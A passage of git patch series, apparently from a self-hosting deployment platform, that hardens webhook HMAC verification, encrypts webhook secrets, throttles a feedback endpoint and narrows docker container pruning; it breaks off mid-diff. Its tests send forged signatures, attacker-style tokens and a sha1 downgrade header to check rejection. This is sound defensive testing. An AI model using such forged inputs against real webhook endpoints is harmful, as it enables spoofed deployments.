- Reject webhook deliveries when the stored secret is empty (GitHub, GitLab, Bitbucket, Gitea manual endpoints).
- Bitbucket: require the sha256 algorithm prefix on X-Hub-Signature instead of trusting the client-supplied algo.
- GitLab: drop the ?? '' fallback on the token comparison.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
---
 app/Http/Controllers/Webhook/Bitbucket.php    |  23 +-
 app/Http/Controllers/Webhook/Gitea.php        |   9 +
 app/Http/Controllers/Webhook/Github.php       |   9 +
 app/Http/Controllers/Webhook/Gitlab.php       |  11 +-
 app/Models/Application.php                    |  23 +-
 ...0_backfill_and_encrypt_webhook_secrets.php |  59 +++
 tests/Feature/Webhook/WebhookHmacTest.php     | 338 ++++++++++++++++++
 7 files changed, 464 insertions(+), 8 deletions(-)
 create mode 100644 database/migrations/2026_04_19_000000_backfill_and_encrypt_webhook_secrets.php
 create mode 100644 tests/Feature/Webhook/WebhookHmacTest.php

diff --git a/app/Http/Controllers/Webhook/Bitbucket.php b/app/Http/Controllers/Webhook/Bitbucket.php
index 183186711..ffa71b55a 100644
--- a/app/Http/Controllers/Webhook/Bitbucket.php
+++ b/app/Http/Controllers/Webhook/Bitbucket.php
@@ -57,10 +57,29 @@ public function manual(Request $request)
             }
             foreach ($applications as $application) {
                 $webhook_secret = data_get($application, 'manual_webhook_secret_bitbucket');
+                if (empty($webhook_secret)) {
+                    $return_payloads->push([
+                        'application' => $application->name,
+                        'status' => 'failed',
+                        'message' => 'Webhook secret not configured.',
+                    ]);
+
+                    continue;
+                }
                 $payload = $request->getContent();
 
-                [$algo, $hash] = explode('=', $x_bitbucket_token, 2);
-                $payloadHash = hash_hmac($algo, $payload, $webhook_secret);
+                $parts = explode('=', $x_bitbucket_token, 2);
+                if (count($parts) !== 2 || $parts[0] !== 'sha256') {
+                    $return_payloads->push([
+                        'application' => $application->name,
+                        'status' => 'failed',
+                        'message' => 'Invalid signature.',
+                    ]);
+
+                    continue;
+                }
+                $hash = $parts[1];
+                $payloadHash = hash_hmac('sha256', $payload, $webhook_secret);
                 if (! hash_equals($hash, $payloadHash) && ! isDev()) {
                     $return_payloads->push([
                         'application' => $application->name,
diff --git a/app/Http/Controllers/Webhook/Gitea.php b/app/Http/Controllers/Webhook/Gitea.php
index a9d65eae6..62adf5410 100644
--- a/app/Http/Controllers/Webhook/Gitea.php
+++ b/app/Http/Controllers/Webhook/Gitea.php
@@ -67,6 +67,15 @@ public function manual(Request $request)
             }
             foreach ($applications as $application) {
                 $webhook_secret = data_get($application, 'manual_webhook_secret_gitea');
+                if (empty($webhook_secret)) {
+                    $return_payloads->push([
+                        'application' => $application->name,
+                        'status' => 'failed',
+                        'message' => 'Webhook secret not configured.',
+                    ]);
+
+                    continue;
+                }
                 $hmac = hash_hmac('sha256', $request->getContent(), $webhook_secret);
                 if (! hash_equals($x_hub_signature_256, $hmac) && ! isDev()) {
                     $return_payloads->push([
diff --git a/app/Http/Controllers/Webhook/Github.php b/app/Http/Controllers/Webhook/Github.php
index fe49369ea..4158016d0 100644
--- a/app/Http/Controllers/Webhook/Github.php
+++ b/app/Http/Controllers/Webhook/Github.php
@@ -81,6 +81,15 @@ public function manual(Request $request)
             foreach ($applicationsByServer as $serverId => $serverApplications) {
                 foreach ($serverApplications as $application) {
                     $webhook_secret = data_get($application, 'manual_webhook_secret_github');
+                    if (empty($webhook_secret)) {
+                        $return_payloads->push([
+                            'application' => $application->name,
+                            'status' => 'failed',
+                            'message' => 'Webhook secret not configured.',
+                        ]);
+
+                        continue;
+                    }
                     $hmac = hash_hmac('sha256', $request->getContent(), $webhook_secret);
                     if (! hash_equals($x_hub_signature_256, $hmac) && ! isDev()) {
                         $return_payloads->push([
diff --git a/app/Http/Controllers/Webhook/Gitlab.php b/app/Http/Controllers/Webhook/Gitlab.php
index 08e5d7162..4453a0e7a 100644
--- a/app/Http/Controllers/Webhook/Gitlab.php
+++ b/app/Http/Controllers/Webhook/Gitlab.php
@@ -100,7 +100,16 @@ public function manual(Request $request)
             }
             foreach ($applications as $application) {
                 $webhook_secret = data_get($application, 'manual_webhook_secret_gitlab');
-                if (! hash_equals($webhook_secret ?? '', $x_gitlab_token ?? '')) {
+                if (empty($webhook_secret)) {
+                    $return_payloads->push([
+                        'application' => $application->name,
+                        'status' => 'failed',
+                        'message' => 'Webhook secret not configured.',
+                    ]);
+
+                    continue;
+                }
+                if (! hash_equals($webhook_secret, $x_gitlab_token ?? '')) {
                     $return_payloads->push([
                         'application' => $application->name,
                         'status' => 'failed',
diff --git a/app/Models/Application.php b/app/Models/Application.php
index fef6f6e4c..85e94bfd6 100644
--- a/app/Models/Application.php
+++ b/app/Models/Application.php
@@ -215,14 +215,27 @@ class Application extends BaseModel
 
     protected $appends = ['server_status'];
 
-    protected $casts = [
-        'http_basic_auth_password' => 'encrypted',
-        'restart_count' => 'integer',
-        'last_restart_at' => 'datetime',
-    ];
+    protected function casts(): array
+    {
+        return [
+            'http_basic_auth_password' => 'encrypted',
+            'manual_webhook_secret_github' => 'encrypted',
+            'manual_webhook_secret_gitlab' => 'encrypted',
+            'manual_webhook_secret_bitbucket' => 'encrypted',
+            'manual_webhook_secret_gitea' => 'encrypted',
+            'restart_count' => 'integer',
+            'last_restart_at' => 'datetime',
+        ];
+    }
 
     protected static function booted()
     {
+        static::creating(function ($application) {
+            $application->manual_webhook_secret_github ??= Str::random(40);
+            $application->manual_webhook_secret_gitlab ??= Str::random(40);
+            $application->manual_webhook_secret_bitbucket ??= Str::random(40);
+            $application->manual_webhook_secret_gitea ??= Str::random(40);
+        });
         static::addGlobalScope('withRelations', function ($builder) {
             $builder->withCount([
                 'additional_servers',
diff --git a/database/migrations/2026_04_19_000000_backfill_and_encrypt_webhook_secrets.php b/database/migrations/2026_04_19_000000_backfill_and_encrypt_webhook_secrets.php
new file mode 100644
index 000000000..47ee6e30a
--- /dev/null
+++ b/database/migrations/2026_04_19_000000_backfill_and_encrypt_webhook_secrets.php
@@ -0,0 +1,59 @@
+<?php
+
+use Illuminate\Database\Migrations\Migration;
+use Illuminate\Support\Facades\Crypt;
+use Illuminate\Support\Facades\DB;
+use Illuminate\Support\Facades\Schema;
+use Illuminate\Support\Str;
+
+class BackfillAndEncryptWebhookSecrets extends Migration
+{
+    public function up(): void
+    {
+        $columns = [
+            'manual_webhook_secret_github',
+            'manual_webhook_secret_gitlab',
+            'manual_webhook_secret_bitbucket',
+            'manual_webhook_secret_gitea',
+        ];
+
+        Schema::table('applications', function ($table) use ($columns) {
+            foreach ($columns as $col) {
+                $table->text($col)->nullable()->change();
+            }
+        });
+
+        try {
+            DB::table('applications')->chunkById(100, function ($apps) use ($columns) {
+                foreach ($apps as $app) {
+                    $updates = [];
+                    foreach ($columns as $col) {
+                        $current = $app->{$col};
+
+                        if (empty($current)) {
+                            $updates[$col] = Crypt::encryptString(Str::random(40));
+
+                            continue;
+                        }
+
+                        try {
+                            Crypt::decryptString($current);
+
+                            continue;
+                        } catch (Exception) {
+                            // Not encrypted yet
+                        }
+
+                        $updates[$col] = Crypt::encryptString($current);
+                    }
+                    if ($updates !== []) {
+                        DB::table('applications')->where('id', $app->id)->update($updates);
+                    }
+                }
+            });
+        } catch (Exception $e) {
+            echo 'Backfilling and encrypting webhook secrets failed.';
+            echo $e->getMessage();
+        }
+    }
+}
diff --git a/tests/Feature/Webhook/WebhookHmacTest.php b/tests/Feature/Webhook/WebhookHmacTest.php
new file mode 100644
index 000000000..a06e85309
--- /dev/null
+++ b/tests/Feature/Webhook/WebhookHmacTest.php
@@ -0,0 +1,338 @@
+<?php
+
+use App\Models\Application;
+use App\Models\Environment;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\Team;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\DB;
+
+uses(RefreshDatabase::class);
+
+function createApplicationWithWebhook(string $repo = 'test-org/test-repo', string $branch = 'main', array $overrides = []): Application
+{
+    $team = Team::factory()->create();
+    $project = Project::factory()->create(['team_id' => $team->id]);
+    $environment = Environment::factory()->create(['project_id' => $project->id]);
+    $server = Server::factory()->create(['team_id' => $team->id]);
+    $destination = $server->standaloneDockers()->firstOrFail();
+
+    return Application::create(array_merge([
+        'name' => 'webhook-test-app',
+        'git_repository' => "https://github.com/{$repo}",
+        'git_branch' => $branch,
+        'build_pack' => 'nixpacks',
+        'ports_exposes' => '3000',
+        'environment_id' => $environment->id,
+        'destination_id' => $destination->id,
+        'destination_type' => $destination->getMorphClass(),
+    ], $overrides));
+}
+
+describe('GitHub Manual Webhook HMAC', function () {
+    test('rejects push when secret is empty', function () {
+        $app = createApplicationWithWebhook();
+        DB::table('applications')->where('id', $app->id)->update([
+            'manual_webhook_secret_github' => null,
+        ]);
+
+        $payload = json_encode([
+            'ref' => 'refs/heads/main',
+            'repository' => ['full_name' => 'test-org/test-repo'],
+            'after' => 'abc123',
+            'commits' => [],
+        ]);
+
+        $response = $this->call('POST', '/webhooks/source/github/events/manual', [], [], [], [
+            'HTTP_X-GitHub-Event' => 'push',
+            'HTTP_X-Hub-Signature-256' => 'sha256='.hash_hmac('sha256', $payload, ''),
+            'CONTENT_TYPE' => 'application/json',
+        ], $payload);
+
+        $response->assertOk();
+        expect($response->getContent())->toContain('Webhook secret not configured');
+    });
+
+    test('rejects push with forged hash', function () {
+        $app = createApplicationWithWebhook();
+
+        $payload = json_encode([
+            'ref' => 'refs/heads/main',
+            'repository' => ['full_name' => 'test-org/test-repo'],
+            'after' => 'abc123',
+            'commits' => [],
+        ]);
+
+        $response = $this->call('POST', '/webhooks/source/github/events/manual', [], [], [], [
+            'HTTP_X-GitHub-Event' => 'push',
+            'HTTP_X-Hub-Signature-256' => 'sha256=forgedhashvalue',
+            'CONTENT_TYPE' => 'application/json',
+        ], $payload);
+
+        $response->assertOk();
+        expect($response->getContent())->toContain('Invalid signature');
+    });
+
+    test('accepts push with valid hash', function () {
+        $app = createApplicationWithWebhook();
+        $secret = $app->manual_webhook_secret_github;
+
+        $payload = json_encode([
+            'ref' => 'refs/heads/main',
+            'repository' => ['full_name' => 'test-org/test-repo'],
+            'after' => 'abc123',
+            'commits' => [],
+        ]);
+
+        $hmac = hash_hmac('sha256', $payload, $secret);
+
+        $response = $this->call('POST', '/webhooks/source/github/events/manual', [], [], [], [
+            'HTTP_X-GitHub-Event' => 'push',
+            'HTTP_X-Hub-Signature-256' => "sha256={$hmac}",
+            'CONTENT_TYPE' => 'application/json',
+        ], $payload);
+
+        $response->assertOk();
+        $content = $response->getContent();
+        expect($content)->not->toContain('Invalid signature');
+        expect($content)->not->toContain('Webhook secret not configured');
+    });
+});
+
+describe('GitLab Manual Webhook HMAC', function () {
+    test('rejects push when secret is empty', function () {
+        $app = createApplicationWithWebhook();
+        DB::table('applications')->where('id', $app->id)->update([
+            'manual_webhook_secret_gitlab' => null,
+        ]);
+
+        $response = $this->postJson('/webhooks/source/gitlab/events/manual', [
+            'object_kind' => 'push',
+            'ref' => 'refs/heads/main',
+            'project' => ['path_with_namespace' => 'test-org/test-repo'],
+            'after' => 'abc123',
+            'commits' => [],
+        ], [
+            'X-Gitlab-Token' => 'attacker-supplied-token',
+        ]);
+
+        $response->assertOk();
+        expect($response->getContent())->toContain('Webhook secret not configured');
+    });
+
+    test('rejects push with wrong token', function () {
+        $app = createApplicationWithWebhook();
+
+        $response = $this->postJson('/webhooks/source/gitlab/events/manual', [
+            'object_kind' => 'push',
+            'ref' => 'refs/heads/main',
+            'project' => ['path_with_namespace' => 'test-org/test-repo'],
+            'after' => 'abc123',
+            'commits' => [],
+        ], [
+            'X-Gitlab-Token' => 'wrong-token',
+        ]);
+
+        $response->assertOk();
+        expect($response->getContent())->toContain('Invalid signature');
+    });
+
+    test('accepts push with valid token', function () {
+        $app = createApplicationWithWebhook();
+        $secret = $app->manual_webhook_secret_gitlab;
+
+        $response = $this->postJson('/webhooks/source/gitlab/events/manual', [
+            'object_kind' => 'push',
+            'ref' => 'refs/heads/main',
+            'project' => ['path_with_namespace' => 'test-org/test-repo'],
+            'after' => 'abc123',
+            'commits' => [],
+        ], [
+            'X-Gitlab-Token' => $secret,
+        ]);
+
+        $response->assertOk();
+        $content = $response->getContent();
+        expect($content)->not->toContain('Invalid signature');
+        expect($content)->not->toContain('Webhook secret not configured');
+    });
+});
+
+describe('Bitbucket Manual Webhook HMAC', function () {
+    test('rejects push when secret is empty', function () {
+        $app = createApplicationWithWebhook();
+        DB::table('applications')->where('id', $app->id)->update([
+            'manual_webhook_secret_bitbucket' => null,
+        ]);
+
+        $payload = json_encode([
+            'push' => ['changes' => [['new' => ['name' => 'main', 'target' => ['hash' => 'abc123']]]]],
+            'repository' => ['full_name' => 'test-org/test-repo'],
+        ]);
+
+        $response = $this->call('POST', '/webhooks/source/bitbucket/events/manual', [], [], [], [
+            'HTTP_X-Event-Key' => 'repo:push',
+            'HTTP_X-Hub-Signature' => 'sha256='.hash_hmac('sha256', $payload, ''),
+            'CONTENT_TYPE' => 'application/json',
+        ], $payload);
+
+        $response->assertOk();
+        expect($response->getContent())->toContain('Webhook secret not configured');
+    });
+
+    test('rejects push with non-sha256 algorithm', function () {
+        $app = createApplicationWithWebhook();
+        $secret = $app->manual_webhook_secret_bitbucket;
+
+        $payload = json_encode([
+            'push' => ['changes' => [['new' => ['name' => 'main', 'target' => ['hash' => 'abc123']]]]],
+            'repository' => ['full_name' => 'test-org/test-repo'],
+        ]);
+
+        $response = $this->call('POST', '/webhooks/source/bitbucket/events/manual', [], [], [], [
+            'HTTP_X-Event-Key' => 'repo:push',
+            'HTTP_X-Hub-Signature' => 'sha1='.hash_hmac('sha1', $payload, $secret),
+            'CONTENT_TYPE' => 'application/json',
+        ], $payload);
+
+        $response->assertOk();
+        expect($response->getContent())->toContain('Invalid signature');
+    });
+
+    test('rejects push with forged hash', function () {
+        $app = createApplicationWithWebhook();
+
+        $payload = json_encode([
+            'push' => ['changes' => [['new' => ['name' => 'main', 'target' => ['hash' => 'abc123']]]]],
+            'repository' => ['full_name' => 'test-org/test-repo'],
+        ]);
+
+        $response = $this->call('POST', '/webhooks/source/bitbucket/events/manual', [], [], [], [
+            'HTTP_X-Event-Key' => 'repo:push',
+            'HTTP_X-Hub-Signature' => 'sha256=forgedhashvalue',
+            'CONTENT_TYPE' => 'application/json',
+        ], $payload);
+
+        $response->assertOk();
+        expect($response->getContent())->toContain('Invalid signature');
+    });
+
+    test('accepts push with valid sha256 hash', function () {
+        $app = createApplicationWithWebhook();
+        $secret = $app->manual_webhook_secret_bitbucket;
+
+        $payload = json_encode([
+            'push' => ['changes' => [['new' => ['name' => 'main', 'target' => ['hash' => 'abc123']]]]],
+            'repository' => ['full_name' => 'test-org/test-repo'],
+        ]);
+
+        $hmac = hash_hmac('sha256', $payload, $secret);
+
+        $response = $this->call('POST', '/webhooks/source/bitbucket/events/manual', [], [], [], [
+            'HTTP_X-Event-Key' => 'repo:push',
+            'HTTP_X-Hub-Signature' => "sha256={$hmac}",
+            'CONTENT_TYPE' => 'application/json',
+        ], $payload);
+
+        $response->assertOk();
+        $content = $response->getContent();
+        expect($content)->not->toContain('Invalid signature');
+        expect($content)->not->toContain('Webhook secret not configured');
+    });
+});
+
+describe('Gitea Manual Webhook HMAC', function () {
+    test('rejects push when secret is empty', function () {
+        $app = createApplicationWithWebhook();
+        DB::table('applications')->where('id', $app->id)->update([
+            'manual_webhook_secret_gitea' => null,
+        ]);
+
+        $payload = json_encode([
+            'ref' => 'refs/heads/main',
+            'repository' => ['full_name' => 'test-org/test-repo'],
+            'after' => 'abc123',
+            'commits' => [],
+        ]);
+
+        $response = $this->call('POST', '/webhooks/source/gitea/events/manual', [], [], [], [
+            'HTTP_X-Gitea-Event' => 'push',
+            'HTTP_X-Hub-Signature-256' => 'sha256='.hash_hmac('sha256', $payload, ''),
+            'CONTENT_TYPE' => 'application/json',
+        ], $payload);
+
+        $response->assertOk();
+        expect($response->getContent())->toContain('Webhook secret not configured');
+    });
+
+    test('rejects push with forged hash', function () {
+        $app = createApplicationWithWebhook();
+
+        $payload = json_encode([
+            'ref' => 'refs/heads/main',
+            'repository' => ['full_name' => 'test-org/test-repo'],
+            'after' => 'abc123',
+            'commits' => [],
+        ]);
+
+        $response = $this->call('POST', '/webhooks/source/gitea/events/manual', [], [], [], [
+            'HTTP_X-Gitea-Event' => 'push',
+            'HTTP_X-Hub-Signature-256' => 'sha256=forgedhashvalue',
+            'CONTENT_TYPE' => 'application/json',
+        ], $payload);
+
+        $response->assertOk();
+        expect($response->getContent())->toContain('Invalid signature');
+    });
+
+    test('accepts push with valid hash', function () {
+        $app = createApplicationWithWebhook();
+        $secret = $app->manual_webhook_secret_gitea;
+
+        $payload = json_encode([
+            'ref' => 'refs/heads/main',
+            'repository' => ['full_name' => 'test-org/test-repo'],
+            'after' => 'abc123',
+            'commits' => [],
+        ]);
+
+        $hmac = hash_hmac('sha256', $payload, $secret);
+
+        $response = $this->call('POST', '/webhooks/source/gitea/events/manual', [], [], [], [
+            'HTTP_X-Gitea-Event' => 'push',
+            'HTTP_X-Hub-Signature-256' => "sha256={$hmac}",
+            'CONTENT_TYPE' => 'application/json',
+        ], $payload);
+
+        $response->assertOk();
+        $content = $response->getContent();
+        expect($content)->not->toContain('Invalid signature');
+        expect($content)->not->toContain('Webhook secret not configured');
+    });
+});
+
+describe('Webhook Secret Auto-Generation', function () {
+    test('auto-generates webhook secrets on application creation', function () {
+        $app = createApplicationWithWebhook();
+
+        expect($app->manual_webhook_secret_github)->not->toBeEmpty();
+        expect($app->manual_webhook_secret_gitlab)->not->toBeEmpty();
+        expect($app->manual_webhook_secret_bitbucket)->not->toBeEmpty();
+        expect($app->manual_webhook_secret_gitea)->not->toBeEmpty();
+        expect(strlen($app->manual_webhook_secret_github))->toBe(40);
+        expect(strlen($app->manual_webhook_secret_gitlab))->toBe(40);
+        expect(strlen($app->manual_webhook_secret_bitbucket))->toBe(40);
+        expect(strlen($app->manual_webhook_secret_gitea))->toBe(40);
+    });
+
+    test('encrypts webhook secrets at rest', function () {
+        $app = createApplicationWithWebhook();
+        $plaintext = $app->manual_webhook_secret_github;
+
+        $raw = DB::table('applications')->where('id', $app->id)->first();
+
+        expect($raw->manual_webhook_secret_github)->not->toBe($plaintext);
+        expect($app->manual_webhook_secret_github)->toBe($plaintext);
+    });
+});

From e7bbd45408f97e9c2703c6c66c91cc758aa04905 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Sun, 19 Apr 2026 14:41:47 +0200
Subject: [PATCH 057/102] refactor(api): validate and throttle feedback
 endpoint

- Validate content (required string, min:10, max:2000) in OtherController@feedback
- Register 'feedback' named rate limiter (3/min per user or IP) in RouteServiceProvider
- Apply throttle:feedback middleware to POST /api/feedback
- Forward to Discord with allowed_mentions.parse=[] and a 5s HTTP timeout

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
---
 app/Http/Controllers/Api/OtherController.php | 10 +-
 app/Providers/RouteServiceProvider.php       |  4 +
 routes/api.php                               |  5 +-
 tests/Feature/FeedbackEndpointTest.php       | 96 ++++++++++++++++++++
 4 files changed, 110 insertions(+), 5 deletions(-)
 create mode 100644 tests/Feature/FeedbackEndpointTest.php

diff --git a/app/Http/Controllers/Api/OtherController.php b/app/Http/Controllers/Api/OtherController.php
index 8f2ba25c8..49468b597 100644
--- a/app/Http/Controllers/Api/OtherController.php
+++ b/app/Http/Controllers/Api/OtherController.php
@@ -147,11 +147,15 @@ public function disable_api(Request $request)
 
     public function feedback(Request $request)
     {
-        $content = $request->input('content');
+        $data = $request->validate([
+            'content' => ['required', 'string', 'min:10', 'max:2000'],
+        ]);
+
         $webhook_url = config('constants.webhooks.feedback_discord_webhook');
         if ($webhook_url) {
-            Http::post($webhook_url, [
-                'content' => $content,
+            Http::timeout(5)->post($webhook_url, [
+                'content' => $data['content'],
+                'allowed_mentions' => ['parse' => []],
             ]);
         }
 
diff --git a/app/Providers/RouteServiceProvider.php b/app/Providers/RouteServiceProvider.php
index 2150126cd..4068572c8 100644
--- a/app/Providers/RouteServiceProvider.php
+++ b/app/Providers/RouteServiceProvider.php
@@ -54,5 +54,9 @@ protected function configureRateLimiting(): void
         RateLimiter::for('5', function (Request $request) {
             return Limit::perMinute(5)->by($request->user()?->id ?: $request->ip());
         });
+
+        RateLimiter::for('feedback', function (Request $request) {
+            return Limit::perMinute(3)->by($request->user()?->id ?: $request->ip());
+        });
     }
 }
diff --git a/routes/api.php b/routes/api.php
index 0d3edcced..161d08c13 100644
--- a/routes/api.php
+++ b/routes/api.php
@@ -26,7 +26,8 @@
     Route::get('/health', [OtherController::class, 'healthcheck']);
 });
 
-Route::post('/feedback', [OtherController::class, 'feedback']);
+Route::post('/feedback', [OtherController::class, 'feedback'])
+    ->middleware('throttle:feedback');
 
 Route::group([
     'middleware' => ['auth:sanctum', 'api.ability:write'],
@@ -218,7 +219,7 @@
         try {
             $decrypted = decrypt($naked_token);
             $decrypted_token = json_decode($decrypted, true);
-        } catch (\Exception $e) {
+        } catch (Exception $e) {
             return response()->json(['message' => 'Invalid token'], 401);
         }
         $server_uuid = data_get($decrypted_token, 'server_uuid');
diff --git a/tests/Feature/FeedbackEndpointTest.php b/tests/Feature/FeedbackEndpointTest.php
new file mode 100644
index 000000000..a2c603def
--- /dev/null
+++ b/tests/Feature/FeedbackEndpointTest.php
@@ -0,0 +1,96 @@
+<?php
+
+use Illuminate\Support\Facades\Http;
+
+beforeEach(function () {
+    Http::fake([
+        'discord.com/*' => Http::response([], 204),
+    ]);
+});
+
+it('rejects feedback with missing content', function () {
+    $response = $this->postJson('/api/feedback', []);
+
+    $response->assertStatus(422)
+        ->assertJsonValidationErrors('content');
+});
+
+it('rejects feedback with content too short', function () {
+    $response = $this->postJson('/api/feedback', ['content' => 'short']);
+
+    $response->assertStatus(422)
+        ->assertJsonValidationErrors('content');
+});
+
+it('rejects feedback with content too long', function () {
+    $response = $this->postJson('/api/feedback', ['content' => str_repeat('a', 2001)]);
+
+    $response->assertStatus(422)
+        ->assertJsonValidationErrors('content');
+});
+
+it('rejects feedback with non-string content', function () {
+    $response = $this->postJson('/api/feedback', ['content' => ['array', 'value']]);
+
+    $response->assertStatus(422)
+        ->assertJsonValidationErrors('content');
+});
+
+it('accepts valid feedback and forwards to discord with mentions disabled', function () {
+    config()->set('constants.webhooks.feedback_discord_webhook', 'https://discord.com/api/webhooks/test');
+
+    $response = $this->postJson('/api/feedback', [
+        'content' => 'This is a valid feedback message for testing purposes.',
+    ]);
+
+    $response->assertStatus(200)
+        ->assertJson(['message' => 'Feedback sent.']);
+
+    Http::assertSent(function ($request) {
+        return $request->url() === 'https://discord.com/api/webhooks/test'
+            && $request['content'] === 'This is a valid feedback message for testing purposes.'
+            && $request['allowed_mentions'] === ['parse' => []];
+    });
+});
+
+it('does not forward to discord when webhook url is not configured', function () {
+    config()->set('constants.webhooks.feedback_discord_webhook', null);
+
+    $response = $this->postJson('/api/feedback', [
+        'content' => 'This is a valid feedback message for testing purposes.',
+    ]);
+
+    $response->assertStatus(200);
+
+    Http::assertNothingSent();
+});
+
+it('throttles feedback endpoint after 3 requests per minute', function () {
+    config()->set('constants.webhooks.feedback_discord_webhook', null);
+
+    for ($i = 0; $i < 3; $i++) {
+        $response = $this->postJson('/api/feedback', [
+            'content' => "Valid feedback message number {$i} for testing.",
+        ]);
+        $response->assertStatus(200);
+    }
+
+    $response = $this->postJson('/api/feedback', [
+        'content' => 'This fourth request should be throttled.',
+    ]);
+    $response->assertStatus(429);
+});
+
+it('disables discord mention parsing regardless of content', function () {
+    config()->set('constants.webhooks.feedback_discord_webhook', 'https://discord.com/api/webhooks/test');
+
+    $response = $this->postJson('/api/feedback', [
+        'content' => 'User feedback includes an @everyone style phrase and a link https://example.com for reference.',
+    ]);
+
+    $response->assertStatus(200);
+
+    Http::assertSent(function ($request) {
+        return $request['allowed_mentions'] === ['parse' => []];
+    });
+});

From 233f06385010bd3f13e1b3d6545315f8789f60b3 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Sun, 19 Apr 2026 14:46:42 +0200
Subject: [PATCH 058/102] refactor(help): cap feedback subject length to 255
 characters

Keep composed feedback payload within the server-side 2000-char budget
(prefix ~56 + email 255 + subject 255 + description 1000 = 1566).

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
---
 app/Livewire/Help.php | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/Livewire/Help.php b/app/Livewire/Help.php
index 490515875..2786ae703 100644
--- a/app/Livewire/Help.php
+++ b/app/Livewire/Help.php
@@ -15,7 +15,7 @@ class Help extends Component
     #[Validate(['required', 'min:10', 'max:1000'])]
     public string $description;
 
-    #[Validate(['required', 'min:3'])]
+    #[Validate(['required', 'min:3', 'max:255'])]
     public string $subject;
 
     public function submit()

From 434f91f83c2f05d6992254753a6d8510da12c762 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Sun, 19 Apr 2026 14:48:34 +0200
Subject: [PATCH 059/102] refactor(help): raise feedback subject cap to 600
 characters

Align composed payload size with the 2000-char backend budget
(prefix ~56 + email 255 + subject 600 + description 1000 = 1911).

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
---
 app/Livewire/Help.php | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/Livewire/Help.php b/app/Livewire/Help.php
index 2786ae703..421e50bcc 100644
--- a/app/Livewire/Help.php
+++ b/app/Livewire/Help.php
@@ -15,7 +15,7 @@ class Help extends Component
     #[Validate(['required', 'min:10', 'max:1000'])]
     public string $description;
 
-    #[Validate(['required', 'min:3', 'max:255'])]
+    #[Validate(['required', 'min:3', 'max:600'])]
     public string $subject;
 
     public function submit()

From 0620496c5fc527b9f2fe810c7e9014e8244d510a Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Sun, 19 Apr 2026 15:17:47 +0200
Subject: [PATCH 060/102] fix(server): exclude persistent resources from
 container prune

Prevent docker container prune from removing containers labeled as
database, application, or service types. Previously only proxy containers
were excluded, risking accidental cleanup of active resources.
---
 app/Actions/Server/CleanupDocker.php            |  2 +-
 tests/Unit/Actions/Server/CleanupDockerTest.php | 10 ++++++++++
 2 files changed, 11 insertions(+), 1 deletion(-)

diff --git a/app/Actions/Server/CleanupDocker.php b/app/Actions/Server/CleanupDocker.php
index 0d9ca0153..98cce088b 100644
--- a/app/Actions/Server/CleanupDocker.php
+++ b/app/Actions/Server/CleanupDocker.php
@@ -48,7 +48,7 @@ public function handle(Server $server, bool $deleteUnusedVolumes = false, bool $
         );
 
         $commands = [
-            'docker container prune -f --filter "label=coolify.managed=true" --filter "label!=coolify.proxy=true"',
+            'docker container prune -f --filter "label=coolify.managed=true" --filter "label!=coolify.proxy=true" --filter "label!=coolify.type=database" --filter "label!=coolify.type=application" --filter "label!=coolify.type=service"',
             $imagePruneCmd,
             'docker builder prune -af',
             "docker images --filter before=$helperImageWithVersion --filter reference=$helperImage | grep $helperImage | awk '{print $3}' | xargs -r docker rmi -f",
diff --git a/tests/Unit/Actions/Server/CleanupDockerTest.php b/tests/Unit/Actions/Server/CleanupDockerTest.php
index fc8b8ab9b..1a6a0d3d6 100644
--- a/tests/Unit/Actions/Server/CleanupDockerTest.php
+++ b/tests/Unit/Actions/Server/CleanupDockerTest.php
@@ -437,6 +437,16 @@
     expect($buildImagesToDelete->pluck('tag')->toArray())->toContain('commit1-build');
 });
 
+it('container prune excludes persistent resource types', function () {
+    $sourceFile = file_get_contents(__DIR__.'/../../../../app/Actions/Server/CleanupDocker.php');
+
+    expect($sourceFile)->toContain('label!=coolify.type=database');
+    expect($sourceFile)->toContain('label!=coolify.type=application');
+    expect($sourceFile)->toContain('label!=coolify.type=service');
+    expect($sourceFile)->toContain('label!=coolify.proxy=true');
+    expect($sourceFile)->toContain('label=coolify.managed=true');
+});
+
 it('preserves build image for currently running tag', function () {
     $images = collect([
         ['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],

From 5019c8db928afd34c0c9d17c5d20019fa053c344 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Sun, 19 Apr 2026 15:26:47 +0200
Subject: [PATCH 061/102] fix(api): use explicit team ID for S3 storage lookup
 in backup endpoints

Replace `ownedByCurrentTeam()` (session-based) with `ownedByCurrentTeamAPI($teamId)`
(explicit team ID) when resolving S3 storage in create_backup and update_backup.
Session-based team resolution is unreliable in API context where auth is token-based.

Add `S3Storage::ownedByCurrentTeamAPI(int $teamId)` scope and update feature tests
to use real model instances instead of Mockery mocks.
---
 .../Controllers/Api/DatabasesController.php   |   8 +-
 app/Models/S3Storage.php                      |   7 +
 .../Feature/DatabaseBackupCreationApiTest.php | 208 ++++++++++++------
 3 files changed, 146 insertions(+), 77 deletions(-)

diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php
index f3783696d..8241e5fba 100644
--- a/app/Http/Controllers/Api/DatabasesController.php
+++ b/app/Http/Controllers/Api/DatabasesController.php
@@ -747,7 +747,7 @@ public function create_backup(Request $request)
         }
 
         if ($request->filled('s3_storage_uuid')) {
-            $existsInTeam = S3Storage::ownedByCurrentTeam()->where('uuid', $request->s3_storage_uuid)->exists();
+            $existsInTeam = S3Storage::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->s3_storage_uuid)->exists();
             if (! $existsInTeam) {
                 return response()->json([
